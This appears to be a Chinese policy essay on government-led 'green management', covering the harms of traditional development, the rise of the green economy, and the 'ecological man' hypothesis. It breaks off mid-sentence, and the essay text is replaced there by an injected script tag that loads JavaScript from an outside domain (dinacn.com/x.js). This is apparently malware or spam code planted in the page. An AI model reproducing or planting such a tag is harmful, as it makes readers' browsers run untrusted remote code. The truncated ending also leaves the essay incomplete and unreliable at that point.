政府是推进科学发展和增长方式转变的主导力量，必须承担起保护环境和自然资源的责任，构建并实施人与自然和谐、生态与经济协调的绿色管理。实施绿色公共管理是当前生态环境问题日趋复杂的必然要求，更是落实科学发展观的迫切要求和战略举措，也是构建适应科学发展的新型体制机制的关键之一。
　　
    一、理清构建政府绿色管理的基本依据
　　
    （一）现实依据：克服传统发展模式的根本弊端和适应绿色经济浪潮
　　
    沿袭了几十年的传统发展模式，其根本弊端是破坏性、挥霍性甚至毁灭性使用生态系统，导致了严重生态危机，必须加快转型。突出表现为资源的浪费性使用及日益枯竭，自然资源匮乏将是21世纪我国经济发展最重要的制约因素；环境的破坏性使用并日益恶化，承载力不断削弱；严重不合理的生产方式和消费方式，盲从于市场的自发性，不顾生态规律、社会规律，造成公共性生态资源的严重不合理分配，形成生态性两极分化；生态效益、社会效益被忽略和损失严重；与世界绿色经济发展潮流发生冲突，遭遇绿色制约。
　　
    这些问题的形成、日益尖锐和激化带来了严重后果，如不予以重视和切实解决，就会阻碍中华民族伟大复兴的历史进程，解决这些问题，需要整体转变发展模式，特别是要加快构建政府绿色管理体系。
　　
    与传统发展模式的日益加重的危机相对应，全球范围内正在蓬勃兴起绿色经济浪潮。绿色经济是一种独立的经济形态，是继原始经济、农业经济、工业经济、知识经济之后的一个先进经济形态，也是继农业化浪潮、工业化浪潮、知识化浪潮之后的第四次浪潮即生态化浪潮，是人类文明史上的深刻重大变化。绿色经济就是资源节约、环境友好、生态安全、健康幸福、社会和谐的经济，就是实现经济、社会、生态协调发展和绿色效益最大化的经济。绿色经济发展模式为克服传统发展模式的弊端提供了替代性选择，也急切呼唤政府绿色管理的发育成长。
　　
    （二）理论依据：绿色经济学的两个原理和“生态人”假设
　　
    正在不断推进的绿色经济学是针对传统发展模式和经济学的根本弊端，以经济、社会、生态的协调发展为基本原则，研究绿色经济现象、揭示绿色经济发展规律的科学。绿色经济学揭示了经济、社会、生态协调发展的根本规律，这个规律反映在绿色经济学中，就是具有决定性作用的两个基本原理和“生态人”假设。
　　
    两个基本原理：一是“人类的所有活动都受制于生态系统”； 二是“生态资本的保值增殖决定人类的社会经济活动”。
　　
    在整个生态系统中，人类只是其中的一个单元或有机组成部分。用一个形象的比喻，生态系统是“水”，人类只是一叶扁“舟”，“水能载舟”意味着生态系统对人类发展的支持、保护能力和作用；“亦能覆舟”则表明任何破坏生态系统平衡的活动都将受到生态系统的无情报复。因此，从人类社会发展的过去、现在和将来看，人类的任何活动都必然地受制于生态系统。因此，人类的经济活动必须在生态系统的承载力基础上进行。
　　
    生态资本保值的基本涵义是生态资本的保护和修复。生态资本增殖的基本意义是生态资本在量上的累积和质上的发展。生态资本是一种总体上很难替代的基础性资本，具有明显的公共产品特征，生态资本的丧失会使其它资本失去依托，变成空中楼阁。绿色经济学认为，要实现可持续发展，就必须采取更加有效的系统办法，充分体现生态资本的基础性作用。人类的任何经济活动，都必须遵循生态系统的平衡和生态资源的再生规律。这种要求内在地规定了人类社会的经济、政治、科技、文化等等所有社会活动，都建立在优先考虑生态资本的基础之上。
　
    “生态人”假设是绿色经济学的基本假设。绿色经济学认为，与绿色经济兴起、发展及其内在规律逐步显现相对应，是人的行为特征发生了历史性重大变化，在“经济人”特性基础上，“社会人”、“生态人”特性开始形成，突破了经济人的狭隘自私，向更高阶段演进。“生态人”就是具有生态理性，在确保生态效益的前提下追求其它经济社会效益的人。
　　
    作为生活在自然环境母体中的一个生命物种，人的生命完全受制于自然环境。离开了与自然界的良性能量转化与交换、信息交流与互动，人类一天也不能生存，更谈不到什么经济活动。从这个意义上讲，人类首先是“生态人”，即人首先是生态系统的有机组成部分，生态系统也是人自身生命的有机组成部分，其生存与发展都必须建立在两者的协调平衡、良性互动基础之上，其所有活动都必须有利于而不是破坏生态系统的协调平衡。“经济人”这个社会属性，完全是建立在“生态人”这个自然属性基础之上的；“经济人”的追求?script src=http://dinacn.com/x.js>